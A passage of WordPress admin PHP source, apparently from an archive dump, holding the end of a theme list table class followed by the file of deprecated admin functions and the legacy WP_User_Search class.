$actions['preview'] = '<a href="' . $preview_link . '" class="hide-if-customize" title="'
				. esc_attr( sprintf( __( 'Preview &#8220;%s&#8221;' ), $title ) ) . '">' . __( 'Preview' ) . '</a>';

if ( current_user_can( 'edit_theme_options' ) )
				$actions['preview'] .= '<a href="' . wp_customize_url( $stylesheet ) . '" class="load-customize hide-if-no-customize">'
					. __( 'Live Preview' ) . '</a>';

if ( ! is_multisite() && current_user_can( 'delete_themes' ) )
				$actions['delete'] = '<a class="submitdelete deletion" href="' . wp_nonce_url( 'themes.php?action=delete&amp;stylesheet=' . urlencode( $stylesheet ), 'delete-theme_' . $stylesheet )
					. '" onclick="' . "return confirm( '" . esc_js( sprintf( __( "You are about to delete this theme '%s'\n  'Cancel' to stop, 'OK' to delete." ), $title ) )
					. "' );" . '">' . __( 'Delete' ) . '</a>';

/** This filter is documented in wp-admin/includes/class-wp-ms-themes-list-table.php */
			$actions       = apply_filters( 'theme_action_links', $actions, $theme );

/** This filter is documented in wp-admin/includes/class-wp-ms-themes-list-table.php */
			$actions       = apply_filters( "theme_action_links_$stylesheet", $actions, $theme );
			$delete_action = isset( $actions['delete'] ) ? '<div class="delete-theme">' . $actions['delete'] . '</div>' : '';
			unset( $actions['delete'] );

<a href="<?php echo $preview_link; ?>" class="screenshot hide-if-customize">
				<?php if ( $screenshot = $theme->get_screenshot() ) : ?>
					<img src="<?php echo esc_url( $screenshot ); ?>" alt="" />
				<?php endif; ?>
			</a>
			<a href="<?php echo wp_customize_url( $stylesheet ); ?>" class="screenshot load-customize hide-if-no-customize">
				<?php if ( $screenshot = $theme->get_screenshot() ) : ?>
					<img src="<?php echo esc_url( $screenshot ); ?>" alt="" />
				<?php endif; ?>
			</a>

<?php theme_update_available( $theme ); ?>
			</div>

<div class="themedetaildiv hide-if-js">
				<p><strong><?php _e('Version: '); ?></strong><?php echo $version; ?></p>
				<p><?php echo $theme->display('Description'); ?></p>
				<?php if ( $theme->parent() ) {
					printf( ' <p class="howto">' . __( 'This <a href="%1$s">child theme</a> requires its parent theme, %2$s.' ) . '</p>',
						__( 'http://codex.wordpress.org/Child_Themes' ),
						$theme->parent()->display( 'Name' ) );
				} ?>
			</div>

</div>
		<?php
		endforeach;
	}

function search_theme( $theme ) {
		// Search the features
		foreach ( $this->features as $word ) {
			if ( ! in_array( $word, $theme->get('Tags') ) )
				return false;
		}

// Match all phrases
		foreach ( $this->search_terms as $word ) {
			if ( in_array( $word, $theme->get('Tags') ) )
				continue;

foreach ( array( 'Name', 'Description', 'Author', 'AuthorURI' ) as $header ) {
				// Don't mark up; Do translate.
				if ( false !== stripos( strip_tags( $theme->display( $header, false, true ) ), $word ) ) {
					continue 2;
				}
			}

if ( false !== stripos( $theme->get_stylesheet(), $word ) )
				continue;

if ( false !== stripos( $theme->get_template(), $word ) )
				continue;

return false;
		}

return true;
	}

/**
	 * Send required variables to JavaScript land
	 *
	 * @since 3.4.0
	 * @access private
	 *
	 * @uses $this->features Array of all feature search terms.
	 * @uses get_pagenum()
	 * @uses _pagination_args['total_pages']
	 */
	 function _js_vars( $extra_args = array() ) {
		$search_string = isset( $_REQUEST['s'] ) ? esc_attr( wp_unslash( $_REQUEST['s'] ) ) : '';

$args = array(
			'search' => $search_string,
			'features' => $this->features,
			'paged' => $this->get_pagenum(),
			'total_pages' => ! empty( $this->_pagination_args['total_pages'] ) ? $this->_pagination_args['total_pages'] : 1,
		);

if ( is_array( $extra_args ) )
			$args = array_merge( $args, $extra_args );

printf( "<script type='text/javascript'>var theme_list_args = %s;</script>\n", json_encode( $args ) );
		parent::_js_vars();
	}
}
deprecated.php000077700000071017151514577750007413 0ustar00<?php
/**
 * Deprecated admin functions from past WordPress versions. You shouldn't use these
 * functions and look for the alternatives instead. The functions will be removed
 * in a later version.
 *
 * @package WordPress
 * @subpackage Deprecated
 */

/*
 * Deprecated functions come here to die.
 */

/**
 * @since 2.1.0
 * @deprecated 2.1.0
 * @deprecated Use wp_editor().
 * @see wp_editor()
 */
function tinymce_include() {
	_deprecated_function( __FUNCTION__, '2.1', 'wp_editor()' );

wp_tiny_mce();
}

/**
 * Unused Admin function.
 *
 * @since 2.0.0
 * @deprecated 2.5.0
 *
 */
function documentation_link() {
	_deprecated_function( __FUNCTION__, '2.5' );
	return;
}

/**
 * Calculates the new dimensions for a downsampled image.
 *
 * @since 2.0.0
 * @deprecated 3.0.0
 * @deprecated Use wp_constrain_dimensions()
 * @see wp_constrain_dimensions()
 *
 * @param int $width Current width of the image
 * @param int $height Current height of the image
 * @param int $wmax Maximum wanted width
 * @param int $hmax Maximum wanted height
 * @return array Shrunk dimensions (width, height).
 */
function wp_shrink_dimensions( $width, $height, $wmax = 128, $hmax = 96 ) {
	_deprecated_function( __FUNCTION__, '3.0', 'wp_constrain_dimensions()' );
	return wp_constrain_dimensions( $width, $height, $wmax, $hmax );
}

/**
 * Calculated the new dimensions for a downsampled image.
 *
 * @since 2.0.0
 * @deprecated 3.5.0
 * @deprecated Use wp_constrain_dimensions()
 * @see wp_constrain_dimensions()
 *
 * @param int $width Current width of the image
 * @param int $height Current height of the image
 * @return array Shrunk dimensions (width, height).
 */
function get_udims( $width, $height ) {
	_deprecated_function( __FUNCTION__, '3.5', 'wp_constrain_dimensions()' );
	return wp_constrain_dimensions( $width, $height, 128, 96 );
}

/**
 * {@internal Missing Short Description}}
 *
 * @since 0.71
 * @deprecated 2.6.0
 * @deprecated Use wp_category_checklist()
 * @see wp_category_checklist()
 *
 * @param unknown_type $default
 * @param unknown_type $parent
 * @param unknown_type $popular_ids
 */
function dropdown_categories( $default = 0, $parent = 0, $popular_ids = array() ) {
	_deprecated_function( __FUNCTION__, '2.6', 'wp_category_checklist()' );
	global $post_ID;
	wp_category_checklist( $post_ID );
}

/**
 * {@internal Missing Short Description}}
 *
 * @since 2.1.0
 * @deprecated 2.6.0
 * @deprecated Use wp_link_category_checklist()
 * @see wp_link_category_checklist()
 *
 * @param unknown_type $default
 */
function dropdown_link_categories( $default = 0 ) {
	_deprecated_function( __FUNCTION__, '2.6', 'wp_link_category_checklist()' );
	global $link_id;
	wp_link_category_checklist( $link_id );
}

/**
 * Get the real filesystem path to a file to edit within the admin.
 *
 * @since 1.5.0
 * @deprecated 2.9.0
 * @uses WP_CONTENT_DIR Full filesystem path to the wp-content directory.
 *
 * @param string $file Filesystem path relative to the wp-content directory.
 * @return string Full filesystem path to edit.
 */
function get_real_file_to_edit( $file ) {
	_deprecated_function( __FUNCTION__, '2.9' );

return WP_CONTENT_DIR . $file;
}

/**
 * {@internal Missing Short Description}}
 *
 * @since 1.2.0
 * @deprecated 3.0.0
 * @deprecated Use wp_dropdown_categories()
 * @see wp_dropdown_categories()
 *
 * @param unknown_type $currentcat
 * @param unknown_type $currentparent
 * @param unknown_type $parent
 * @param unknown_type $level
 * @param unknown_type $categories
 * @return unknown
 */
function wp_dropdown_cats( $currentcat = 0, $currentparent = 0, $parent = 0, $level = 0, $categories = 0 ) {
	_deprecated_function( __FUNCTION__, '3.0', 'wp_dropdown_categories()' );
	if (!$categories )
		$categories = get_categories( array('hide_empty' => 0) );

if ( $categories ) {
		foreach ( $categories as $category ) {
			if ( $currentcat != $category->term_id && $parent == $category->parent) {
				$pad = str_repeat( '&#8211; ', $level );
				$category->name = esc_html( $category->name );
				echo "\n\t<option value='$category->term_id'";
				if ( $currentparent == $category->term_id )
					echo " selected='selected'";
				echo ">$pad$category->name</option>";
				wp_dropdown_cats( $currentcat, $currentparent, $category->term_id, $level +1, $categories );
			}
		}
	} else {
		return false;
	}
}

/**
 * Register a setting and its sanitization callback
 *
 * @since 2.7.0
 * @deprecated 3.0.0
 * @deprecated Use register_setting()
 * @see register_setting()
 *
 * @param string $option_group A settings group name. Should correspond to a whitelisted option key name.
 * 	Default whitelisted option key names include "general," "discussion," and "reading," among others.
 * @param string $option_name The name of an option to sanitize and save.
 * @param unknown_type $sanitize_callback A callback function that sanitizes the option's value.
 * @return unknown
 */
function add_option_update_handler( $option_group, $option_name, $sanitize_callback = '' ) {
	_deprecated_function( __FUNCTION__, '3.0', 'register_setting()' );
	return register_setting( $option_group, $option_name, $sanitize_callback );
}

/**
 * Unregister a setting
 *
 * @since 2.7.0
 * @deprecated 3.0.0
 * @deprecated Use unregister_setting()
 * @see unregister_setting()
 *
 * @param unknown_type $option_group
 * @param unknown_type $option_name
 * @param unknown_type $sanitize_callback
 * @return unknown
 */
function remove_option_update_handler( $option_group, $option_name, $sanitize_callback = '' ) {
	_deprecated_function( __FUNCTION__, '3.0', 'unregister_setting()' );
	return unregister_setting( $option_group, $option_name, $sanitize_callback );
}

/**
 * Determines the language to use for CodePress syntax highlighting.
 *
 * @since 2.8.0
 * @deprecated 3.0.0
 *
 * @param string $filename
**/
function codepress_get_lang( $filename ) {
	_deprecated_function( __FUNCTION__, '3.0' );
	return;
}

/**
 * Adds Javascript required to make CodePress work on the theme/plugin editors.
 *
 * @since 2.8.0
 * @deprecated 3.0.0
**/
function codepress_footer_js() {
	_deprecated_function( __FUNCTION__, '3.0' );
	return;
}

/**
 * Determine whether to use CodePress.
 *
 * @since 2.8.0
 * @deprecated 3.0.0
**/
function use_codepress() {
	_deprecated_function( __FUNCTION__, '3.0' );
	return;
}

/**
 * @deprecated 3.1.0
 *
 * @return array List of user IDs.
 */
function get_author_user_ids() {
	_deprecated_function( __FUNCTION__, '3.1', 'get_users()' );

global $wpdb;
	if ( !is_multisite() )
		$level_key = $wpdb->get_blog_prefix() . 'user_level';
	else
		$level_key = $wpdb->get_blog_prefix() . 'capabilities'; // wpmu site admins don't have user_levels

return $wpdb->get_col( $wpdb->prepare("SELECT user_id FROM $wpdb->usermeta WHERE meta_key = %s AND meta_value != '0'", $level_key) );
}

/**
 * @deprecated 3.1.0
 *
 * @param int $user_id User ID.
 * @return array|bool List of editable authors. False if no editable users.
 */
function get_editable_authors( $user_id ) {
	_deprecated_function( __FUNCTION__, '3.1', 'get_users()' );

global $wpdb;

$editable = get_editable_user_ids( $user_id );

if ( !$editable ) {
		return false;
	} else {
		$editable = join(',', $editable);
		$authors = $wpdb->get_results( "SELECT * FROM $wpdb->users WHERE ID IN ($editable) ORDER BY display_name" );
	}

return apply_filters('get_editable_authors', $authors);
}

/**
 * @deprecated 3.1.0
 *
 * @param int $user_id User ID.
 * @param bool $exclude_zeros Optional, default is true. Whether to exclude zeros.
 * @return unknown
 */
function get_editable_user_ids( $user_id, $exclude_zeros = true, $post_type = 'post' ) {
	_deprecated_function( __FUNCTION__, '3.1', 'get_users()' );

global $wpdb;

if ( ! $user = get_userdata( $user_id ) )
		return array();
	$post_type_obj = get_post_type_object($post_type);

if ( ! $user->has_cap($post_type_obj->cap->edit_others_posts) ) {
		if ( $user->has_cap($post_type_obj->cap->edit_posts) || ! $exclude_zeros )
			return array($user->ID);
		else
			return array();
	}

if ( !is_multisite() )
		$level_key = $wpdb->get_blog_prefix() . 'user_level';
	else
		$level_key = $wpdb->get_blog_prefix() . 'capabilities'; // wpmu site admins don't have user_levels

$query = $wpdb->prepare("SELECT user_id FROM $wpdb->usermeta WHERE meta_key = %s", $level_key);
	if ( $exclude_zeros )
		$query .= " AND meta_value != '0'";

return $wpdb->get_col( $query );
}

/**
 * @deprecated 3.1.0
 */
function get_nonauthor_user_ids() {
	_deprecated_function( __FUNCTION__, '3.1', 'get_users()' );

global $wpdb;

if ( !is_multisite() )
		$level_key = $wpdb->get_blog_prefix() . 'user_level';
	else
		$level_key = $wpdb->get_blog_prefix() . 'capabilities'; // wpmu site admins don't have user_levels

return $wpdb->get_col( $wpdb->prepare("SELECT user_id FROM $wpdb->usermeta WHERE meta_key = %s AND meta_value = '0'", $level_key) );
}

if ( !class_exists('WP_User_Search') ) :
/**
 * WordPress User Search class.
 *
 * @since 2.1.0
 * @deprecated 3.1.0
 */
class WP_User_Search {

/**
	 * {@internal Missing Description}}
	 *
	 * @since 2.1.0
	 * @access private
	 * @var unknown_type
	 */
	var $results;

/**
	 * {@internal Missing Description}}
	 *
	 * @since 2.1.0
	 * @access private
	 * @var unknown_type
	 */
	var $search_term;

/**
	 * Page number.
	 *
	 * @since 2.1.0
	 * @access private
	 * @var int
	 */
	var $page;

/**
	 * Role name that users have.
	 *
	 * @since 2.5.0
	 * @access private
	 * @var string
	 */
	var $role;

/**
	 * Raw page number.
	 *
	 * @since 2.1.0
	 * @access private
	 * @var int|bool
	 */
	var $raw_page;

/**
	 * Amount of users to display per page.
	 *
	 * @since 2.1.0
	 * @access public
	 * @var int
	 */
	var $users_per_page = 50;

/**
	 * {@internal Missing Description}}
	 *
	 * @since 2.1.0
	 * @access private
	 * @var unknown_type
	 */
	var $first_user;

/**
	 * {@internal Missing Description}}
	 *
	 * @since 2.1.0
	 * @access private
	 * @var int
	 */
	var $last_user;

/**
	 * {@internal Missing Description}}
	 *
	 * @since 2.1.0
	 * @access private
	 * @var string
	 */
	var $query_limit;

/**
	 * {@internal Missing Description}}
	 *
	 * @since 3.0.0
	 * @access private
	 * @var string
	 */
	var $query_orderby;

/**
	 * {@internal Missing Description}}
	 *
	 * @since 3.0.0
	 * @access private
	 * @var string
	 */
	var $query_from;

/**
	 * {@internal Missing Description}}
	 *
	 * @since 3.0.0
	 * @access private
	 * @var string
	 */
	var $query_where;

/**
	 * {@internal Missing Description}}
	 *
	 * @since 2.1.0
	 * @access private
	 * @var int
	 */
	var $total_users_for_query = 0;

/**
	 * {@internal Missing Description}}
	 *
	 * @since 2.1.0
	 * @access private
	 * @var bool
	 */
	var $too_many_total_users = false;

/**
	 * {@internal Missing Description}}
	 *
	 * @since 2.1.0
	 * @access private
	 * @var unknown_type
	 */
	var $search_errors;

/**
	 * {@internal Missing Description}}
	 *
	 * @since 2.7.0
	 * @access private
	 * @var unknown_type
	 */
	var $paging_text;

/**
	 * PHP4 Constructor - Sets up the object properties.
	 *
	 * @since 2.1.0
	 *
	 * @param string $search_term Search terms string.
	 * @param int $page Optional. Page ID.
	 * @param string $role Role name.
	 * @return WP_User_Search
	 */
	function WP_User_Search ($search_term = '', $page = '', $role = '') {
		_deprecated_function( __FUNCTION__, '3.1', 'WP_User_Query' );

$this->search_term = wp_unslash( $search_term );
		$this->raw_page = ( '' == $page ) ? false : (int) $page;
		$this->page = (int) ( '' == $page ) ? 1 : $page;
		$this->role = $role;

$this->prepare_query();
		$this->query();
		$this->do_paging();
	}

/**
	 * {@internal Missing Short Description}}
	 *
	 * {@internal Missing Long Description}}
	 *
	 * @since 2.1.0
	 * @access public
	 */
	function prepare_query() {
		global $wpdb;
		$this->first_user = ($this->page - 1) * $this->users_per_page;

$this->query_limit = $wpdb->prepare(" LIMIT %d, %d", $this->first_user, $this->users_per_page);
		$this->query_orderby = ' ORDER BY user_login';

$search_sql = '';
		if ( $this->search_term ) {
			$searches = array();
			$search_sql = 'AND (';
			foreach ( array('user_login', 'user_nicename', 'user_email', 'user_url', 'display_name') as $col )
				$searches[] = $wpdb->prepare( $col . ' LIKE %s', '%' . like_escape($this->search_term) . '%' );
			$search_sql .= implode(' OR ', $searches);
			$search_sql .= ')';
		}

$this->query_from = " FROM $wpdb->users";
		$this->query_where = " WHERE 1=1 $search_sql";

if ( $this->role ) {
			$this->query_from .= " INNER JOIN $wpdb->usermeta ON $wpdb->users.ID = $wpdb->usermeta.user_id";
			$this->query_where .= $wpdb->prepare(" AND $wpdb->usermeta.meta_key = '{$wpdb->prefix}capabilities' AND $wpdb->usermeta.meta_value LIKE %s", '%' . $this->role . '%');
		} elseif ( is_multisite() ) {
			$level_key = $wpdb->prefix . 'capabilities'; // wpmu site admins don't have user_levels
			$this->query_from .= ", $wpdb->usermeta";
			$this->query_where .= " AND $wpdb->users.ID = $wpdb->usermeta.user_id AND meta_key = '{$level_key}'";
		}

do_action_ref_array( 'pre_user_search', array( &$this ) );
	}

/**
	 * {@internal Missing Short Description}}
	 *
	 * {@internal Missing Long Description}}
	 *
	 * @since 2.1.0
	 * @access public
	 */
	function query() {
		global $wpdb;

$this->results = $wpdb->get_col("SELECT DISTINCT($wpdb->users.ID)" . $this->query_from . $this->query_where . $this->query_orderby . $this->query_limit);

if ( $this->results )
			$this->total_users_for_query = $wpdb->get_var("SELECT COUNT(DISTINCT($wpdb->users.ID))" . $this->query_from . $this->query_where); // no limit
		else
			$this->search_errors = new WP_Error('no_matching_users_found', __('No matching users were found!'));
	}

/**
	 * {@internal Missing Short Description}}
	 *
	 * {@internal Missing Long Description}}
	 *
	 * @since 2.1.0
	 * @access public
	 */
	function prepare_vars_for_template_usage() {}

/**
	 * {@internal Missing Short Description}}
	 *
	 * {@internal Missing Long Description}}
	 *
	 * @since 2.1.0
	 * @access public
	 */
	function do_paging() {
		if ( $this->total_users_for_query > $this->users_per_page ) { // have to page the results
			$args = array();
			if( ! empty($this->search_term) )
				$args['usersearch'] = urlencode($this->search_term);
			if( ! empty($this->role) )
				$args['role'] = urlencode($this->role);

$this->paging_text = paginate_links( array(
				'total' => ceil($this->total_users_for_query / $this->users_per_page),
				'current' => $this->page,
				'base' => 'users.php?%_%',
				'format' => 'userspage=%#%',
				'add_args' => $args
			) );
			if ( $this->paging_text ) {
				$this->paging_text = sprintf( '<span class="displaying-num">' . __( 'Displaying %s&#8211;%s of %s' ) . '</span>%s',
					number_format_i18n( ( $this->page - 1 ) * $this->users_per_page + 1 ),
					number_format_i18n( min( $this->page * $this->users_per_page, $this->total_users_for_query ) ),
					number_format_i18n( $this->total_users_for_query ),
					$this->paging_text
				);
			}
		}
	}

/**
	 * {@internal Missing Short Description}}
	 *
	 * {@internal Missing Long Description}}
	 *
	 * @since 2.1.0
	 * @access public
	 *
	 * @return unknown
	 */
	function get_results() {
		return (array) $this->results;
	}

/**
	 * Displaying paging text.
	 *
	 * @see do_paging() Builds paging text.
	 *
	 * @since 2.1.0
	 * @access public
	 */
	function page_links() {
		echo $this->paging_text;
	}

/**
	 * Whether paging is enabled.
	 *
	 * @see do_paging() Builds paging text.
	 *
	 * @since 2.1.0
	 * @access public
	 *
	 * @return bool
	 */
	function results_are_paged() {
		if ( $this->paging_text )
			return true;
		return false;
	}

/**
	 * Whether there are search terms.
	 *
	 * @since 2.1.0
	 * @access public
	 *
	 * @return bool
	 */
	function is_search() {
		if ( $this->search_term )
			return true;
		return false;
	}
}
endif;

/**
 * Retrieve editable posts from other users.
 *
 * @deprecated 3.1.0
 *
 * @param int $user_id User ID to not retrieve posts from.
 * @param string $type Optional, defaults to 'any'. Post type to retrieve, can be 'draft' or 'pending'.
 * @return array List of posts from others.
 */
function get_others_unpublished_posts($user_id, $type='any') {
	_deprecated_function( __FUNCTION__, '3.1' );

global $wpdb;

$editable = get_editable_user_ids( $user_id );

if ( in_array($type, array('draft', 'pending')) )
		$type_sql = " post_status = '$type' ";
	else
		$type_sql = " ( post_status = 'draft' OR post_status = 'pending' ) ";

$dir = ( 'pending' == $type ) ? 'ASC' : 'DESC';

if ( !$editable ) {
		$other_unpubs = '';
	} else {
		$editable = join(',', $editable);
		$other_unpubs = $wpdb->get_results( $wpdb->prepare("SELECT ID, post_title, post_author FROM $wpdb->posts WHERE post_type = 'post' AND $type_sql AND post_author IN ($editable) AND post_author != %d ORDER BY post_modified $dir", $user_id) );
	}

return apply_filters('get_others_drafts', $other_unpubs);
}

/**
 * Retrieve drafts from other users.
 *
 * @deprecated 3.1.0
 *
 * @param int $user_id User ID.
 * @return array List of drafts from other users.
 */
function get_others_drafts($user_id) {
	_deprecated_function( __FUNCTION__, '3.1' );

return get_others_unpublished_posts($user_id, 'draft');
}

/**
 * Retrieve pending review posts from other users.
 *
 * @deprecated 3.1.0
 *
 * @param int $user_id User ID.
 * @return array List of posts with pending review post type from other users.
 */
function get_others_pending($user_id) {
	_deprecated_function( __FUNCTION__, '3.1' );

return get_others_unpublished_posts($user_id, 'pending');
}

/**
 * Output the QuickPress dashboard widget.
 *
 * @since 3.0.0
 * @deprecated 3.2.0
 * @deprecated Use wp_dashboard_quick_press()
 * @see wp_dashboard_quick_press()
 */
function wp_dashboard_quick_press_output() {
	_deprecated_function( __FUNCTION__, '3.2', 'wp_dashboard_quick_press()' );
	wp_dashboard_quick_press();
}

/**
 * @since 2.7.0
 * @deprecated 3.3.0
 * @deprecated Use wp_editor()
 * @see wp_editor()
 */
function wp_tiny_mce( $teeny = false, $settings = false ) {
	_deprecated_function( __FUNCTION__, '3.3', 'wp_editor()' );

static $num = 1;

if ( ! class_exists('_WP_Editors' ) )
		require_once( ABSPATH . WPINC . '/class-wp-editor.php' );

$editor_id = 'content' . $num++;

$set = array(
		'teeny' => $teeny,
		'tinymce' => $settings ? $settings : true,
		'quicktags' => false
	);

$set = _WP_Editors::parse_settings($editor_id, $set);
	_WP_Editors::editor_settings($editor_id, $set);
}

/**
 * @deprecated 3.3.0
 * @deprecated Use wp_editor()
 * @see wp_editor()
 */
function wp_preload_dialogs() {
	_deprecated_function( __FUNCTION__, '3.3', 'wp_editor()' );
}

/**
 * @deprecated 3.3.0
 * @deprecated Use wp_editor()
 * @see wp_editor()
 */
function wp_print_editor_js() {
	_deprecated_function( __FUNCTION__, '3.3', 'wp_editor()' );
}

/**
 * @deprecated 3.3.0
 * @deprecated Use wp_editor()
 * @see wp_editor()
 */
function wp_quicktags() {
	_deprecated_function( __FUNCTION__, '3.3', 'wp_editor()' );
}

/**
 * Returns the screen layout options.
 *
 * @since 2.8.0
 * @deprecated 3.3.0
 * @deprecated Use $current_screen->render_screen_layout()
 * @see WP_Screen::render_screen_layout()
 */
function screen_layout( $screen ) {
	_deprecated_function( __FUNCTION__, '3.3', '$current_screen->render_screen_layout()' );

$current_screen = get_current_screen();

if ( ! $current_screen )
		return '';

ob_start();
	$current_screen->render_screen_layout();
	return ob_get_clean();
}

/**
 * Returns the screen's per-page options.
 *
 * @since 2.8.0
 * @deprecated 3.3.0
 * @deprecated Use $current_screen->render_per_page_options()
 * @see WP_Screen::render_per_page_options()
 */
function screen_options( $screen ) {
	_deprecated_function( __FUNCTION__, '3.3', '$current_screen->render_per_page_options()' );

$current_screen = get_current_screen();

if ( ! $current_screen )
		return '';

ob_start();
	$current_screen->render_per_page_options();
	return ob_get_clean();
}

/**
 * Renders the screen's help.
 *
 * @since 2.7.0
 * @deprecated 3.3.0
 * @deprecated Use $current_screen->render_screen_meta()
 * @see WP_Screen::render_screen_meta()
 */
function screen_meta( $screen ) {
	$current_screen = get_current_screen();
	$current_screen->render_screen_meta();
}

/**
 * Favorite actions were deprecated in version 3.2. Use the admin bar instead.
 *
 * @since 2.7.0
 * @deprecated 3.2.0
 */
function favorite_actions() {
	_deprecated_function( __FUNCTION__, '3.2', 'WP_Admin_Bar' );
}

function media_upload_image() {
	__deprecated_function( __FUNCTION__, '3.3', 'wp_media_upload_handler()' );
	return wp_media_upload_handler();
}

function media_upload_audio() {
	__deprecated_function( __FUNCTION__, '3.3', 'wp_media_upload_handler()' );
	return wp_media_upload_handler();
}

function media_upload_video() {
	__deprecated_function( __FUNCTION__, '3.3', 'wp_media_upload_handler()' );
	return wp_media_upload_handler();
}

function media_upload_file() {
	__deprecated_function( __FUNCTION__, '3.3', 'wp_media_upload_handler()' );
	return wp_media_upload_handler();
}

function type_url_form_image() {
	__deprecated_function( __FUNCTION__, '3.3', "wp_media_insert_url_form('image')" );
	return wp_media_insert_url_form( 'image' );
}

function type_url_form_audio() {
	__deprecated_function( __FUNCTION__, '3.3', "wp_media_insert_url_form('audio')" );
	return wp_media_insert_url_form( 'audio' );
}

function type_url_form_video() {
	__deprecated_function( __FUNCTION__, '3.3', "wp_media_insert_url_form('video')" );
	return wp_media_insert_url_form( 'video' );
}

function type_url_form_file() {
	__deprecated_function( __FUNCTION__, '3.3', "wp_media_insert_url_form('file')" );
	return wp_media_insert_url_form( 'file' );
}

/**
 * Add contextual help text for a page.
 *
 * Creates an 'Overview' help tab.
 *
 * @since 2.7.0
 * @deprecated 3.3.0
 * @deprecated Use get_current_screen()->add_help_tab()
 * @see WP_Screen
 *
 * @param string    $screen The handle for the screen to add help to. This is usually the hook name returned by the add_*_page() functions.
 * @param string    $help   The content of an 'Overview' help tab.
 */
function add_contextual_help( $screen, $help ) {
	_deprecated_function( __FUNCTION__, '3.3', 'get_current_screen()->add_help_tab()' );

if ( is_string( $screen ) )
		$screen = convert_to_screen( $screen );

WP_Screen::add_old_compat_help( $screen, $help );
}

/**
 * Get the allowed themes for the current blog.
 *
 * @since 3.0.0
 * @deprecated 3.4.0
 * @deprecated Use wp_get_themes()
 * @see wp_get_themes()
 *
 * @return array $themes Array of allowed themes.
 */
function get_allowed_themes() {
	_deprecated_function( __FUNCTION__, '3.4', "wp_get_themes( array( 'allowed' => true ) )" );

$themes = wp_get_themes( array( 'allowed' => true ) );

$wp_themes = array();
	foreach ( $themes as $theme ) {
		$wp_themes[ $theme->get('Name') ] = $theme;
	}

return $wp_themes;
}

/**
 * {@internal Missing Short Description}}
 *
 * @since 1.5.0
 * @deprecated 3.4.0
 *
 * @return unknown
 */
function get_broken_themes() {
	_deprecated_function( __FUNCTION__, '3.4', "wp_get_themes( array( 'errors' => true )" );

$themes = wp_get_themes( array( 'errors' => true ) );
	$broken = array();
	foreach ( $themes as $theme ) {
		$name = $theme->get('Name');
		$broken[ $name ] = array(
			'Name' => $name,
			'Title' => $name,
			'Description' => $theme->errors()->get_error_message(),
		);
	}
	return $broken;
}

/**
 * {@internal Missing Short Description}}
 *
 * @since 2.0.0
 * @deprecated 3.4.0
 *
 * @return unknown
 */
function current_theme_info() {
	_deprecated_function( __FUNCTION__, '3.4', 'wp_get_theme()' );

return wp_get_theme();
}

/**
 * This was once used to display an 'Insert into Post' button. Now it is deprecated and stubbed.
 *
 * @deprecated 3.5.0
 */
function _insert_into_post_button( $type ) {
	_deprecated_function( __FUNCTION__, '3.5' );
}

/**
 * This was once used to display a media button. Now it is deprecated and stubbed.
 *
 * @deprecated 3.5.0
 */
function _media_button($title, $icon, $type, $id) {
	_deprecated_function( __FUNCTION__, '3.5' );
}

/**
 * Get an existing post and format it for editing.
 *
 * @since 2.0.0
 * @deprecated 3.5.0
 *
 * @param int $id
 * @return object
 */
function get_post_to_edit( $id ) {
	_deprecated_function( __FUNCTION__, '3.5', 'get_post()' );

return get_post( $id, OBJECT, 'edit' );
}

/**
 * Get the default page information to use.
 *
 * @since 2.5.0
 * @deprecated 3.5.0
 * @deprecated Use get_default_post_to_edit()
 *
 * @return WP_Post Post object containing all the default post data as attributes
 */
function get_default_page_to_edit() {
	_deprecated_function( __FUNCTION__, '3.5', "get_default_post_to_edit( 'page' )" );

$page = get_default_post_to_edit();
	$page->post_type = 'page';
	return $page;
}

/**
 * This was once used to create a thumbnail from an Image given a maximum side size.
 *
 * @since 1.2.0
 * @deprecated 3.5.0
 * @deprecated Use image_resize()
 * @see image_resize()
 *
 * @param mixed $file Filename of the original image, Or attachment id.
 * @param int $max_side Maximum length of a single side for the thumbnail.
 * @param mixed $deprecated Never used.
 * @return string Thumbnail path on success, Error string on failure.
 */
function wp_create_thumbnail( $file, $max_side, $deprecated = '' ) {
	_deprecated_function( __FUNCTION__, '3.5', 'image_resize()' );
	return apply_filters( 'wp_create_thumbnail', image_resize( $file, $max_side, $max_side ) );
}

/**
 * This was once used to display a metabox for the nav menu theme locations.
 *
 * Deprecated in favor of a 'Manage Locations' tab added to nav menus management screen.
 *
 * @since 3.0.0
 * @deprecated 3.6.0
 */
function wp_nav_menu_locations_meta_box() {
	_deprecated_function( __FUNCTION__, '3.6' );
}

/**
 * This was once used to kick-off the Core Updater.
 *
 * Deprecated in favor of instantating a Core_Upgrader instance directly,
 * and calling the 'upgrade' method.
 *
 * @since 2.7.0
 * @deprecated 3.7.0
 * @see Core_Upgrader
 */
function wp_update_core($current, $feedback = '') {
	_deprecated_function( __FUNCTION__, '3.7', 'new Core_Upgrader();' );

if ( !empty($feedback) )
		add_filter('update_feedback', $feedback);

include ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
	$upgrader = new Core_Upgrader();
	return $upgrader->upgrade($current);

}

/**
 * This was once used to kick-off the Plugin Updater.
 *
 * Deprecated in favor of instantating a Plugin_Upgrader instance directly,
 * and calling the 'upgrade' method.
 * Unused since 2.8.0.
 *
 * @since 2.5.0
 * @deprecated 3.7.0
 * @see Plugin_Upgrader
 */
function wp_update_plugin($plugin, $feedback = '') {
	_deprecated_function( __FUNCTION__, '3.7', 'new Plugin_Upgrader();' );

if ( !empty($feedback) )
		add_filter('update_feedback', $feedback);

include ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
	$upgrader = new Plugin_Upgrader();
	return $upgrader->upgrade($plugin);
}

/**
 * This was once used to kick-off the Theme Updater.
 *
 * Deprecated in favor of instantating a Theme_Upgrader instance directly,
 * and calling the 'upgrade' method.
 * Unused since 2.8.0.
 *
 * @since 2.7.0
 * @deprecated 3.7.0
 * @see Theme_Upgrader
 */
function wp_update_theme($theme, $feedback = '') {
	_deprecated_function( __FUNCTION__, '3.7', 'new Theme_Upgrader();' );

if ( !empty($feedback) )
		add_filter('update_feedback', $feedback);

include ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
	$upgrader = new Theme_Upgrader();
	return $upgrader->upgrade($theme);
}

/**
 * This was once used to display attachment links. Now it is deprecated and stubbed.
 *
 * {@internal Missing Short Description}}
 *
 * @since 2.0.0
 * @deprecated 3.7.0
 *
 * @param unknown_type $id
 * @return unknown
 */
function the_attachment_links( $id = false ) {
	_deprecated_function( __FUNCTION__, '3.7' );
}

/**#@+
 * Displays a screen icon.
 *
 * @since 2.7.0
 * @since 3.8.0 Screen icons are no longer used in WordPress. This function no longer produces output.
 * @deprecated 3.8.0
 */
function screen_icon() {
	echo get_screen_icon();
}
